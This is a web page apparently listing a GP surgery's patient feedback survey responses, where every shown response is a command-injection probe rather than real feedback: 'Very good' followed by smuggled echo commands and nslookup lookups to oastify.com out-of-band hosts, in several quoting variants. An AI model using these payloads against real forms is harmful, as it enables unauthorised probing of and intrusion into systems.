Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good&echo 6rgtykrdrw l3v6jb32ts& | [10] | [11] | July 6, 2023 at 10:35 am |
Very good|echo lboi0fz89a g2iq9ctbj4||a #’ |echo lboi0fz89a g2iq9ctbj4||a #|” |echo lboi0fz89a g2iq9ctbj4||a # | [10] | [11] | July 6, 2023 at 10:35 am |
Very good&nslookup -q=cname hsdp3db3bgo0dzwe4poyzm1i3993xw2kx8pvmjb.oastify.com.&'”`0&nslookup -q=cname hsdp3db3bgo0dzwe4poyzm1i3993xw2kx8pvmjb.oastify.com.&`’ | [10] | [11] | July 6, 2023 at 10:35 am |
Very good'”`0&nslookup -q=cname eewmpax0xdaxzwibqmavljnfp6v0jtohl5dsagz.oastify.com.&`’ | [10] | [11] | July 6, 2023 at 10:35 am |
Very good|nslookup -q=cname jczrnfv5vi82x1ggor80jolknbt5hymmiaax7lw.oastify.com.& | [10] | [11] | July 6, 2023 at 10:35 am |
